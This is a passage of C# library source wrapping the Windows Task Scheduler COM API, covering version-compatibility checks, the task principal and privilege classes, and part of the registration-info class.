TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.RestartInterval\", \"must be 0 (TimeSpan.Zero).\")); }\n            if (Settings.StartWhenAvailable)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Settings.StartWhenAvailable\", \"must be false.\")); }\n\n            if ((Actions.PowerShellConversion & PowerShellActionPlatformOption.Version1) != PowerShellActionPlatformOption.Version1 && (Actions.ContainsType(typeof(Action.EmailAction)) || Actions.ContainsType(typeof(Action.ShowMessageAction)) || Actions.ContainsType(typeof(Action.ComHandlerAction))))\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Actions\", \"may only contain ExecAction types unless Actions.PowerShellConversion includes Version1.\")); }\n            if ((Actions.PowerShellConversion & PowerShellActionPlatformOption.Version2) != PowerShellActionPlatformOption.Version2 && (Actions.ContainsType(typeof(Action.EmailAction)) || Actions.ContainsType(typeof(Action.ShowMessageAction))))\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_1, \"Actions\", \"may only contain ExecAction and ComHanlderAction types unless Actions.PowerShellConversion includes Version2.\")); }\n\n            try\n            {\n                if (null != Triggers.Find(t => t is ITriggerDelay && ((ITriggerDelay)t).Delay != TimeSpan.Zero))\n                { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain delays.\")); }\n                if (null != Triggers.Find(t => t.ExecutionTimeLimit != TimeSpan.Zero || t.Id != null))\n                { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain an ExecutionTimeLimit or Id.\")); }\n                if (null != Triggers.Find(t => (t as LogonTrigger)?.UserId != null))\n                { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain a LogonTrigger with a UserId.\")); }\n                if (null != Triggers.Find(t => t is MonthlyDOWTrigger && ((MonthlyDOWTrigger)t).RunOnLastWeekOfMonth || t is MonthlyDOWTrigger && (((MonthlyDOWTrigger)t).WeeksOfMonth & (((MonthlyDOWTrigger)t).WeeksOfMonth - 1)) != 0))\n                { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain a MonthlyDOWTrigger with RunOnLastWeekOfMonth set or multiple WeeksOfMonth.\")); }\n                if (null != Triggers.Find(t => t is MonthlyTrigger && ((MonthlyTrigger)t).RunOnLastDayOfMonth))\n                { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain a MonthlyTrigger with RunOnLastDayOfMonth set.\")); }\n                if (Triggers.ContainsType(typeof(EventTrigger)) || Triggers.ContainsType(typeof(SessionStateChangeTrigger)) || Triggers.ContainsType(typeof(RegistrationTrigger)))\n                { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger types.\")); }\n            }\n            catch\n            {\n                list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2, \"Triggers\", \"cannot contain Custom triggers.\"));\n            }\n\n            if (Principal.ProcessTokenSidType != TaskProcessTokenSidType.Default)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_1, \"Principal.ProcessTokenSidType\", \"must be Default.\")); }\n            if (Principal.RequiredPrivileges.Count > 0)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_1, \"Principal.RequiredPrivileges\", \"must be empty.\")); }\n            if (Settings.DisallowStartOnRemoteAppSession)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_1, \"Settings.DisallowStartOnRemoteAppSession\", \"must be false.\")); }\n            if (Settings.UseUnifiedSchedulingEngine)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_1, \"Settings.UseUnifiedSchedulingEngine\", \"must be false.\")); }\n\n            if (Settings.MaintenanceSettings.IsSet())\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_2, \"this.Settings.MaintenanceSettings\", \"must have no values set.\")); }\n            if (Settings.Volatile)\n            { list.Add(new TaskCompatibilityEntry(TaskCompatibility.V2_2, \" this.Settings.Volatile\", \"must be false.\")); }\n\n            foreach (var item in list)\n            {\n                if (res < item.CompatibilityLevel) res = item.CompatibilityLevel;\n                outputList?.Add(item);\n            }\n            return res;\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n\n    /// <summary>\n    /// Provides the security credentials for a principal. These security credentials define the security context for the tasks that are\n    /// associated with the principal.\n    /// </summary>\n    [XmlRoot(\"Principals\", Namespace = TaskDefinition.tns, IsNullable = true)]\n    [PublicAPI]\n    public sealed class TaskPrincipal : IDisposable, IXmlSerializable, INotifyPropertyChanged\n    {\n        private const string localSystemAcct = \"SYSTEM\";\n        private readonly IPrincipal v2Principal;\n        private readonly IPrincipal2 v2Principal2;\n        private readonly Func<string> xmlFunc;\n        private TaskPrincipalPrivileges reqPriv;\n        private string v1CachedAcctInfo;\n        private ITask v1Task;\n\n        internal TaskPrincipal([NotNull] IPrincipal iPrincipal, Func<string> defXml)\n        {\n            xmlFunc = defXml;\n            v2Principal = iPrincipal;\n            try { if (Environment.OSVersion.Version >= new Version(6, 1)) v2Principal2 = (IPrincipal2)v2Principal; }\n            catch { }\n        }\n\n        internal TaskPrincipal([NotNull] ITask iTask) => v1Task = iTask;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>\n        /// Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set.\n        /// </summary>\n        /// <value>The account.</value>\n        [DefaultValue(null), Browsable(false)]\n        public string Account\n        {\n            get\n            {\n                try\n                {\n                    var xml = xmlFunc?.Invoke();\n                    if (!string.IsNullOrEmpty(xml))\n                    {\n                        var doc = new XmlDocument();\n                        doc.LoadXml(xml);\n                        var pn = doc.DocumentElement?[\"Principals\"]?[\"Principal\"];\n                        if (pn != null)\n                        {\n                            var un = pn[\"UserId\"] ?? pn[\"GroupId\"];\n                            if (un != null)\n                                try { return User.FromSidString(un.InnerText).Name; }\n                                catch\n                                {\n                                    try { return new User(un.InnerText).Name; }\n                                    catch { }\n                                }\n                        }\n                    }\n                    return new User(ToString()).Name;\n                }\n                catch\n                {\n                    return null;\n                }\n            }\n        }\n\n        /// <summary>Gets or sets the name of the principal that is displayed in the Task Scheduler UI.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        public string DisplayName\n        {\n            get => v2Principal != null ? v2Principal.DisplayName : v1Task.GetDataItem(\"PrincipalDisplayName\");\n            set\n            {\n                if (v2Principal != null)\n                    v2Principal.DisplayName = value;\n                else\n                    v1Task.SetDataItem(\"PrincipalDisplayName\", value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting\n        /// this property to something other than a null or empty string, will set the <see cref=\"UserId\"/> property to NULL and will set\n        /// the <see cref=\"LogonType\"/> property to TaskLogonType.Group;\n        /// </summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        [XmlIgnore]\n        public string GroupId\n        {\n            get => v2Principal?.GroupId;\n            set\n            {\n                if (v2Principal != null)\n                {\n                    if (string.IsNullOrEmpty(value))\n                        value = null;\n                    else\n                    {\n                        v2Principal.UserId = null;\n                        v2Principal.LogonType = TaskLogonType.Group;\n                    }\n                    v2Principal.GroupId = value;\n                }\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the identifier of the principal.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        [XmlAttribute(AttributeName = \"id\", DataType = \"ID\")]\n        public string Id\n        {\n            get => v2Principal != null ? v2Principal.Id : v1Task.GetDataItem(\"PrincipalId\");\n            set\n            {\n                if (v2Principal != null)\n                    v2Principal.Id = value;\n                else\n                    v1Task.SetDataItem(\"PrincipalId\", value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the security logon method that is required to run the tasks that are associated with the principal.</summary>\n        /// <exception cref=\"NotV1SupportedException\">\n        /// TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0.\n        /// </exception>\n        [DefaultValue(typeof(TaskLogonType), \"None\")]\n        public TaskLogonType LogonType\n        {\n            get\n            {\n                if (v2Principal != null)\n                    return v2Principal.LogonType;\n                if (UserId == localSystemAcct)\n                    return TaskLogonType.ServiceAccount;\n                if (v1Task.HasFlags(TaskFlags.RunOnlyIfLoggedOn))\n                    return TaskLogonType.InteractiveToken;\n                return TaskLogonType.InteractiveTokenOrPassword;\n            }\n            set\n            {\n                if (v2Principal != null)\n                    v2Principal.LogonType = value;\n                else\n                {\n                    if (value == TaskLogonType.Group || value == TaskLogonType.None || value == TaskLogonType.S4U)\n                        throw new NotV1SupportedException();\n                    v1Task.SetFlags(TaskFlags.RunOnlyIfLoggedOn, value == TaskLogonType.InteractiveToken);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the task process security identifier (SID) type.</summary>\n        /// <value>One of the <see cref=\"TaskProcessTokenSidType\"/> enumeration constants.</value>\n        /// <remarks>Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems.</remarks>\n        /// <exception cref=\"NotSupportedPriorToException\">Not supported under Task Scheduler versions prior to 2.1.</exception>\n        [XmlIgnore, DefaultValue(typeof(TaskProcessTokenSidType), \"Default\")]\n        public TaskProcessTokenSidType ProcessTokenSidType\n        {\n            get => v2Principal2?.ProcessTokenSidType ?? TaskProcessTokenSidType.Default;\n            set\n            {\n                if (v2Principal2 != null)\n                    v2Principal2.ProcessTokenSidType = value;\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_1);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets the security credentials for a principal. These security credentials define the security context for the tasks that are\n        /// associated with the principal.\n        /// </summary>\n        /// <remarks>Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems.</remarks>\n        [XmlIgnore]\n        public TaskPrincipalPrivileges RequiredPrivileges => reqPriv ??= new TaskPrincipalPrivileges(v2Principal2);\n\n        /// <summary>\n        /// Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated\n        /// with the principal.\n        /// </summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TaskRunLevel), \"LUA\")]\n        [XmlIgnore]\n        public TaskRunLevel RunLevel\n        {\n            get => v2Principal?.RunLevel ?? TaskRunLevel.LUA;\n            set\n            {\n                if (v2Principal != null)\n                    v2Principal.RunLevel = value;\n                else if (value != TaskRunLevel.LUA)\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property\n        /// to something other than a null or empty string, will set the <see cref=\"GroupId\"/> property to NULL;\n        /// </summary>\n        [DefaultValue(null)]\n        public string UserId\n        {\n            get\n            {\n                if (v2Principal != null)\n                    return v2Principal.UserId;\n                if (v1CachedAcctInfo == null)\n                {\n                    try\n                    {\n                        string acct = v1Task.GetAccountInformation();\n                        v1CachedAcctInfo = string.IsNullOrEmpty(acct) ? localSystemAcct : acct;\n                    }\n                    catch { v1CachedAcctInfo = string.Empty; }\n                }\n                return v1CachedAcctInfo == string.Empty ? null : v1CachedAcctInfo;\n            }\n            set\n            {\n                if (v2Principal != null)\n                {\n                    if (string.IsNullOrEmpty(value))\n                        value = null;\n                    else\n                    {\n                        v2Principal.GroupId = null;\n                        //if (value.Contains(@\"\\\") && !value.Contains(@\"\\\\\"))\n                        //\tvalue = value.Replace(@\"\\\", @\"\\\\\");\n                    }\n                    v2Principal.UserId = value;\n                }\n                else\n                {\n                    if (value.Equals(localSystemAcct, StringComparison.CurrentCultureIgnoreCase))\n                        value = \"\";\n                    v1Task.SetAccountInformation(value, IntPtr.Zero);\n                    v1CachedAcctInfo = null;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Validates the supplied account against the supplied <see cref=\"TaskProcessTokenSidType\"/>.</summary>\n        /// <param name=\"acct\">The user or group account name.</param>\n        /// <param name=\"sidType\">The SID type for the process.</param>\n        /// <returns><c>true</c> if supplied account can be used for the supplied SID type.</returns>\n        public static bool ValidateAccountForSidType(string acct, TaskProcessTokenSidType sidType)\n        {\n            string[] validUserIds = { \"NETWORK SERVICE\", \"LOCAL SERVICE\", \"S-1-5-19\", \"S-1-5-20\" };\n            return sidType == TaskProcessTokenSidType.Default || Array.Find(validUserIds, id => id.Equals(acct, StringComparison.InvariantCultureIgnoreCase)) != null;\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Principal != null)\n                Marshal.ReleaseComObject(v2Principal);\n            v1Task = null;\n        }\n\n        /// <summary>Gets a value indicating whether current Principal settings require a password to be provided.</summary>\n        /// <value><c>true</c> if settings requires a password to be provided; otherwise, <c>false</c>.</value>\n        public bool RequiresPassword() => LogonType == TaskLogonType.InteractiveTokenOrPassword ||\n            LogonType == TaskLogonType.Password || LogonType == TaskLogonType.S4U && UserId != null && string.Compare(UserId, WindowsIdentity.GetCurrent().Name, StringComparison.OrdinalIgnoreCase) != 0;\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString() => LogonType == TaskLogonType.Group ? GroupId : UserId;\n\n        XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(XmlReader reader)\n        {\n            reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns);\n            if (reader.HasAttributes)\n                Id = reader.GetAttribute(\"id\");\n            reader.Read();\n            while (reader.MoveToContent() == XmlNodeType.Element)\n            {\n                switch (reader.LocalName)\n                {\n                    case \"Principal\":\n                        reader.Read();\n                        XmlSerializationHelper.ReadObjectProperties(reader, this);\n                        reader.ReadEndElement();\n                        break;\n\n                    default:\n                        reader.Skip();\n                        break;\n                }\n            }\n            reader.ReadEndElement();\n        }\n\n        void IXmlSerializable.WriteXml(XmlWriter writer)\n        {\n            if (string.IsNullOrEmpty(ToString()) && LogonType == TaskLogonType.None) return;\n            writer.WriteStartElement(\"Principal\");\n            if (!string.IsNullOrEmpty(Id))\n                writer.WriteAttributeString(\"id\", Id);\n            XmlSerializationHelper.WriteObjectProperties(writer, this);\n            writer.WriteEndElement();\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n\n    /// <summary>\n    /// List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security\n    /// context for the tasks that are associated with the principal.\n    /// </summary>\n    [PublicAPI]\n    public sealed class TaskPrincipalPrivileges : IList<TaskPrincipalPrivilege>\n    {\n        private readonly IPrincipal2 v2Principal2;\n\n        internal TaskPrincipalPrivileges(IPrincipal2 iPrincipal2 = null) => v2Principal2 = iPrincipal2;\n\n        /// <summary>Gets the number of elements contained in the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</summary>\n        /// <returns>The number of elements contained in the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</returns>\n        public int Count => v2Principal2?.RequiredPrivilegeCount ?? 0;\n\n        /// <summary>Gets a value indicating whether the <see cref=\"T:System.Collections.Generic.ICollection`1\"/> is read-only.</summary>\n        /// <returns>true if the <see cref=\"T:System.Collections.Generic.ICollection`1\"/> is read-only; otherwise, false.</returns>\n        public bool IsReadOnly => false;\n\n        /// <summary>Gets or sets the element at the specified index.</summary>\n        /// <returns>The element at the specified index.</returns>\n        /// <exception cref=\"T:System.ArgumentOutOfRangeException\"><paramref name=\"index\"/> is not a valid index in the <see cref=\"T:System.Collections.Generic.IList`1\"/>.</exception>\n        /// <exception cref=\"T:System.NotSupportedException\">\n        /// The property is set and the <see cref=\"T:System.Collections.Generic.IList`1\"/> is read-only.\n        /// </exception>\n        public TaskPrincipalPrivilege this[int index]\n        {\n            get\n            {\n                if (v2Principal2 != null)\n                    return (TaskPrincipalPrivilege)Enum.Parse(typeof(TaskPrincipalPrivilege), v2Principal2[index + 1]);\n                throw new IndexOutOfRangeException();\n            }\n            set => throw new NotImplementedException();\n        }\n\n        /// <summary>Adds an item to the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</summary>\n        /// <param name=\"item\">The object to add to the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</param>\n        /// <exception cref=\"T:System.NotSupportedException\">The <see cref=\"T:System.Collections.Generic.ICollection`1\"/> is read-only.</exception>\n        public void Add(TaskPrincipalPrivilege item)\n        {\n            if (v2Principal2 != null)\n                v2Principal2.AddRequiredPrivilege(item.ToString());\n            else\n                throw new NotSupportedPriorToException(TaskCompatibility.V2_1);\n        }\n\n        /// <summary>Determines whether the <see cref=\"T:System.Collections.Generic.ICollection`1\"/> contains a specific value.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</param>\n        /// <returns>\n        /// true if <paramref name=\"item\"/> is found in the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>; otherwise, false.\n        /// </returns>\n        public bool Contains(TaskPrincipalPrivilege item) => IndexOf(item) != -1;\n\n        /// <summary>Copies to.</summary>\n        /// <param name=\"array\">The array.</param>\n        /// <param name=\"arrayIndex\">Index of the array.</param>\n        public void CopyTo(TaskPrincipalPrivilege[] array, int arrayIndex)\n        {\n            using var pEnum = GetEnumerator();\n            for (var i = arrayIndex; i < array.Length; i++)\n            {\n                if (!pEnum.MoveNext())\n                    break;\n                array[i] = pEnum.Current;\n            }\n        }\n\n        /// <summary>Returns an enumerator that iterates through the collection.</summary>\n        /// <returns>A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.</returns>\n        public IEnumerator<TaskPrincipalPrivilege> GetEnumerator() => new TaskPrincipalPrivilegesEnumerator(v2Principal2);\n\n        /// <summary>Determines the index of a specific item in the <see cref=\"T:System.Collections.Generic.IList`1\"/>.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"T:System.Collections.Generic.IList`1\"/>.</param>\n        /// <returns>The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.</returns>\n        public int IndexOf(TaskPrincipalPrivilege item)\n        {\n            for (var i = 0; i < Count; i++)\n            {\n                if (item == this[i])\n                    return i;\n            }\n            return -1;\n        }\n\n        /// <summary>Removes all items from the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</summary>\n        /// <exception cref=\"T:System.NotSupportedException\">The <see cref=\"T:System.Collections.Generic.ICollection`1\"/> is read-only.</exception>\n        void ICollection<TaskPrincipalPrivilege>.Clear() => throw new NotImplementedException();\n\n        IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();\n\n        /// <summary>Inserts an item to the <see cref=\"T:System.Collections.Generic.IList`1\"/> at the specified index.</summary>\n        /// <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n        /// <param name=\"item\">The object to insert into the <see cref=\"T:System.Collections.Generic.IList`1\"/>.</param>\n        /// <exception cref=\"T:System.ArgumentOutOfRangeException\"><paramref name=\"index\"/> is not a valid index in the <see cref=\"T:System.Collections.Generic.IList`1\"/>.</exception>\n        /// <exception cref=\"T:System.NotSupportedException\">The <see cref=\"T:System.Collections.Generic.IList`1\"/> is read-only.</exception>\n        void IList<TaskPrincipalPrivilege>.Insert(int index, TaskPrincipalPrivilege item) => throw new NotImplementedException();\n\n        /// <summary>Removes the first occurrence of a specific object from the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</summary>\n        /// <param name=\"item\">The object to remove from the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.</param>\n        /// <returns>\n        /// true if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:System.Collections.Generic.ICollection`1\"/>;\n        /// otherwise, false. This method also returns false if <paramref name=\"item\"/> is not found in the original <see cref=\"T:System.Collections.Generic.ICollection`1\"/>.\n        /// </returns>\n        /// <exception cref=\"T:System.NotSupportedException\">The <see cref=\"T:System.Collections.Generic.ICollection`1\"/> is read-only.</exception>\n        bool ICollection<TaskPrincipalPrivilege>.Remove(TaskPrincipalPrivilege item) => throw new NotImplementedException();\n\n        /// <summary>Removes the <see cref=\"T:System.Collections.Generic.IList`1\"/> item at the specified index.</summary>\n        /// <param name=\"index\">The zero-based index of the item to remove.</param>\n        /// <exception cref=\"T:System.ArgumentOutOfRangeException\"><paramref name=\"index\"/> is not a valid index in the <see cref=\"T:System.Collections.Generic.IList`1\"/>.</exception>\n        /// <exception cref=\"T:System.NotSupportedException\">The <see cref=\"T:System.Collections.Generic.IList`1\"/> is read-only.</exception>\n        void IList<TaskPrincipalPrivilege>.RemoveAt(int index) => throw new NotImplementedException();\n\n        /// <summary>Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler.</summary>\n        public sealed class TaskPrincipalPrivilegesEnumerator : IEnumerator<TaskPrincipalPrivilege>\n        {\n            private readonly IPrincipal2 v2Principal2;\n            private int cur;\n\n            internal TaskPrincipalPrivilegesEnumerator(IPrincipal2 iPrincipal2 = null)\n            {\n                v2Principal2 = iPrincipal2;\n                Reset();\n            }\n\n            /// <summary>Gets the element in the collection at the current position of the enumerator.</summary>\n            /// <returns>The element in the collection at the current position of the enumerator.</returns>\n            public TaskPrincipalPrivilege Current { get; private set; }\n\n            object IEnumerator.Current => Current;\n\n            /// <summary>Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.</summary>\n            public void Dispose() { }\n\n            /// <summary>Advances the enumerator to the next element of the collection.</summary>\n            /// <returns>\n            /// true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection.\n            /// </returns>\n            /// <exception cref=\"T:System.InvalidOperationException\">The collection was modified after the enumerator was created.</exception>\n            public bool MoveNext()\n            {\n                if (v2Principal2 != null && cur < v2Principal2.RequiredPrivilegeCount)\n                {\n                    cur++;\n                    Current = (TaskPrincipalPrivilege)Enum.Parse(typeof(TaskPrincipalPrivilege), v2Principal2[cur]);\n                    return true;\n                }\n                Current = 0;\n                return false;\n            }\n\n            /// <summary>Sets the enumerator to its initial position, which is before the first element in the collection.</summary>\n            /// <exception cref=\"T:System.InvalidOperationException\">The collection was modified after the enumerator was created.</exception>\n            public void Reset()\n            {\n                cur = 0;\n                Current = 0;\n            }\n        }\n    }\n\n    /// <summary>\n    /// Provides the administrative information that can be used to describe the task. This information includes details such as a\n    /// description of the task, the author of the task, the date the task is registered, and the security descriptor of the task.\n    /// </summary>\n    [XmlRoot(\"RegistrationInfo\", Namespace = TaskDefinition.tns, IsNullable = true)]\n    [PublicAPI]\n    public sealed class TaskRegistrationInfo : IDisposable, IXmlSerializable, INotifyPropertyChanged\n    {\n        private readonly IRegistrationInfo v2RegInfo;\n        private ITask v1Task;\n\n        internal TaskRegistrationInfo([NotNull] IRegistrationInfo iRegInfo) => v2RegInfo = iRegInfo;\n\n        internal TaskRegistrationInfo([NotNull] ITask iTask) => v1Task = iTask;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets or sets the author of the task.</summary>\n        [DefaultValue(null)]\n        public string Author\n        {\n            get => v2RegInfo != null ? v2RegInfo.Author : v1Task.GetCreator();\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.Author = value;\n                else\n                    v1Task.SetCreator(value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the date and time when the task is registered.</summary>\n        [DefaultValue(typeof(DateTime), \"0001-01-01T00:00:00\")]\n        public DateTime Date\n        {\n            get\n            {\n                if (v2RegInfo != null)\n                {\n                    if (DateTime.TryParse(v2RegInfo.Date, Trigger.DefaultDateCulture, DateTimeStyles.AssumeLocal, out var ret))\n                        return ret;\n                }\n                else\n                {\n                    var v1Path = Task.GetV1Path(v1Task);\n                    if (!string.IsNullOrEmpty(v1Path) && File.Exists(v1Path))\n                        return File.GetLastWriteTime(v1Path);\n                }\n                return DateTime.MinValue;\n            }\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.Date = value == DateTime.MinValue ? null : value.ToString(Trigger.V2BoundaryDateFormat, Trigger.DefaultDateCulture);\n                else\n                {\n                    var v1Path = Task.GetV1Path(v1Task);\n                    if (!string.IsNullOrEmpty(v1Path) && File.Exists(v1Path))\n                        File.SetLastWriteTime(v1Path, value);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the description of the task.</summary>\n        [DefaultValue(null)]\n        public string Description\n        {\n            get => v2RegInfo != null ? FixCrLf(v2RegInfo.Description) : v1Task.GetComment();\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.Description = value;\n                else\n                    v1Task.SetComment(value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets any additional documentation for the task.</summary>\n        [DefaultValue(null)]\n        public string Documentation\n        {\n            get => v2RegInfo != null ? FixCrLf(v2RegInfo.Documentation) : v1Task.GetDataItem(nameof(Documentation));\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.Documentation = value;\n                else\n                    v1Task.SetDataItem(nameof(Documentation), value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the security descriptor of the task.</summary>\n        /// <value>The security descriptor.</value>\n        [XmlIgnore]\n        public GenericSecurityDescriptor SecurityDescriptor\n        {\n            get => new RawSecurityDescriptor(SecurityDescriptorSddlForm);\n            set => SecurityDescriptorSddlForm = value?.GetSddlForm(Task.defaultAccessControlSections);\n        }\n\n        /// <summary>Gets or sets the security descriptor of the task.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        [XmlIgnore]\n        public string SecurityDescriptorSddlForm\n        {\n            get\n            {\n                object sddl = null;\n                if (v2RegInfo != null)\n                    sddl = v2RegInfo.SecurityDescriptor;\n                return sddl?.ToString();\n            }\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.SecurityDescriptor = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user.\n        /// </summary>\n        [DefaultValue(null)]\n        public string Source\n        {\n            get => v2RegInfo != null ? v2RegInfo.Source : v1Task.GetDataItem(nameof(Source));\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.Source = value;\n                else\n                    v1Task.SetDataItem(nameof(Source), value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the URI of the task.</summary>\n        /// <remarks>\n        /// <c>Note:</c> Breaking change in version 2.0. This property was previously of type <see cref=\"Uri\"/>. It was found that in\n        /// Windows 8, many of the native tasks use this property in a string format rather than in a URI format.\n        /// </remarks>\n        [DefaultValue(null)]\n        public string URI\n        {\n            get\n            {\n                var uri = v2RegInfo != null ? v2RegInfo.URI : v1Task.GetDataItem(nameof(URI));\n                return string.IsNullOrEmpty(uri) ? null : uri;\n            }\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.URI = value;\n                else\n                    v1Task.SetDataItem(nameof(URI), value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the version number of the task.</summary>\n        [DefaultValueEx(typeof(Version), \"1.0\")]\n        public Version Version\n        {\n            get\n            {\n                var sver = v2RegInfo != null ? v2RegInfo.Version : v1Task.GetDataItem(nameof(Version));\n                if (sver != null) try { return new Version(sver); } catch { }\n                return new Version(1, 0);\n            }\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.Version = value?.ToString();\n                else\n                    v1Task.SetDataItem(nameof(Version), value.ToString());\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets an XML-formatted version of the registration information for the task.</summary>\n        [XmlIgnore]\n        public string XmlText\n        {\n            get => v2RegInfo != null ? v2RegInfo.XmlText : XmlSerializationHelper.WriteObjectToXmlText(this);\n            set\n            {\n                if (v2RegInfo != null)\n                    v2RegInfo.XmlText = value;\n                else\n                    XmlSerializationHelper.ReadObjectFromXmlText(value, this);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            v1Task = null;\n            if (v2RegInfo != null)\n                Marshal.ReleaseComObject(v2RegInfo);\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString()\n        {\n            if (v2RegInfo != null || v1Task != null)\n                return DebugHelper.GetDebugString(this);\n            return base.ToString();\n        }\n\n        XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(XmlReader reader)\n        {\n            if (!reader.IsEmptyElement)\n            {\n                reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns);\n                